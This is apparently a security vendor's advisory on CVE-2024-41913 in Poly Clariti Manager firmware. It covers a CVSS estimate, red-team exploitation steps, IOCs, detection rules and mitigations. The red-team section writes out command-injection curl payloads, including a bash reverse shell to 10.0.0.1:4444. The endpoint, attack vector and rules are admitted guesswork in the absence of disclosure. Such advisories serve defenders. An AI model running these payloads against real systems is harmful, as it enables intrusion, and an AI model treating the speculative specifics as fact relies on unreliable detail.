CVE-2024-41913

Executive Summary

CVE-2024-41913 is a critical input validation vulnerability discovered in Poly Clariti Manager firmware builds up to version 10.10.2.2. The flaw stems from improper sanitization of user-supplied input, which could allow an unauthenticated attacker to inject malicious payloads, potentially leading to remote code execution, data exfiltration, or denial of service. The vulnerability affects Poly’s video conferencing management platform, widely deployed in enterprise environments. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch elevates the risk for unmitigated deployments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a proprietary Poly product.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the nature of the vulnerability (improper input validation in a network-accessible management interface), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – due to network exploitability, no authentication required, and potential for full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of Poly Clariti Manager. The firmware fails to properly sanitize user-supplied input before processing it. This can manifest in several ways:

• Command Injection: Unsanitized input passed to system commands.
• SQL Injection: Input used in database queries without proper escaping.
• Cross-Site Scripting (XSS): Input reflected or stored without encoding.
• Path Traversal: Input used to construct file paths.

Given the lack of detailed technical disclosure, the most likely attack vector is command injection via the web interface, as this is common in embedded firmware. An attacker could send a crafted HTTP request to the management interface, injecting shell commands that execute with the privileges of the web server (often root).

Attack Flow:

1. Attacker identifies a Poly Clariti Manager instance (e.g., via Shodan).
2. Attacker sends a malicious HTTP request to a vulnerable endpoint (e.g., /api/v1/command or similar).
3. The firmware processes the input without sanitization, executing injected commands.
4. Attacker gains remote shell access, potentially pivoting to the internal network.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, a typical vulnerable code pattern in C/C++ firmware might look like:

Vulnerable Code (C):

void handle_request(char *user_input) {
    char cmd[256];
    sprintf(cmd, "systemctl restart %s", user_input);
    system(cmd);
}

Patched Code (Hypothetical):

void handle_request(char *user_input) {
    // Whitelist allowed commands
    if (strcmp(user_input, "service1") == 0 || strcmp(user_input, "service2") == 0) {
        char cmd[256];
        snprintf(cmd, sizeof(cmd), "systemctl restart %s", user_input);
        system(cmd);
    } else {
        // Log and reject
        syslog(LOG_ERR, "Invalid input: %s", user_input);
    }
}

The patched version would validate input against a whitelist, use safe string functions, and avoid direct system calls with user data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Poly Clariti Manager firmware version 10.10.2.2 (or earlier) running in a VM or on physical hardware.
• Attacker machine with Kali Linux and Burp Suite.

Exploitation Steps:

1. Reconnaissance: Use Shodan or Nmap to find vulnerable devices.

   nmap -p 80,443,8443 --script http-title <target>
   

2. Identify Endpoints: Use Burp Suite to spider the web interface and identify input fields.
3. Craft Payload: Test for command injection using common payloads.

   curl -X POST "https://<target>/api/v1/command" -d "input=;id"
   

4. Exploit: If successful, execute a reverse shell.

   curl -X POST "https://<target>/api/v1/command" -d "input=;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
   

No public exploit code is available.

Blue Team (Defensive)

Detection & Response:

• Monitor for unusual HTTP requests to management endpoints.
• Look for shell metacharacters (;, |, &, `) in POST data.
• Enable logging on the Poly Clariti Manager and forward logs to a SIEM.
• Implement network segmentation to limit access to the management interface.

Honeypot Setup:

• Deploy a Poly Clariti Manager honeypot to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /api/v1/command or similar endpoints with shell metacharacters.
  • Outbound connections from the device to unknown IPs on ports 4444, 8080, etc.
  • Unusual DNS queries from the device.

• Host IOCs:

  • Unexpected processes running (e.g., /bin/bash, /bin/sh).
  • Modified system binaries or configuration files.
  • New user accounts or SSH keys.

• File IOCs:

  • Files in /tmp/ with suspicious names (e.g., .exploit, payload).
  • Log entries in /var/log/messages or /var/log/syslog showing command execution.

Detection Engineering

YARA Rule

rule CVE_2024_41913_Poly_Clariti_Input_Validation {
    meta:
        description = "Detects potential exploitation attempts of CVE-2024-41913 in Poly Clariti Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-41913"
    strings:
        $cmd_inject1 = ";id" ascii wide nocase
        $cmd_inject2 = "|id" ascii wide nocase
        $cmd_inject3 = "&id" ascii wide nocase
        $cmd_inject4 = "`id`" ascii wide nocase
        $cmd_inject5 = "$(id)" ascii wide nocase
        $http_path = "/api/v1/command" ascii wide nocase
    condition:
        any of ($cmd_inject*) and $http_path
}

Sigma Rule

title: Poly Clariti Manager Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to Poly Clariti Manager with command injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v1/command'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in input fields (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-41913 Poly Clariti Manager Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/command"; http_uri; pcre:"/(;|\||&|`|\$\().*id/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Devices: Place Poly Clariti Manager behind a firewall and restrict access to trusted IPs only.
2. Disable Unnecessary Services: If the web interface is not required, disable it.
3. Monitor Logs: Enable detailed logging and monitor for suspicious activity.

Long-Term Fix:

• Apply a firmware patch from Poly when available.
• Implement input validation and sanitization in the firmware code.
• Conduct a security audit of the entire codebase.

Workarounds:

• Use a web application firewall (WAF) to block malicious payloads.
• Implement network segmentation to limit exposure.

Valters IT
Securing Digital Frontiers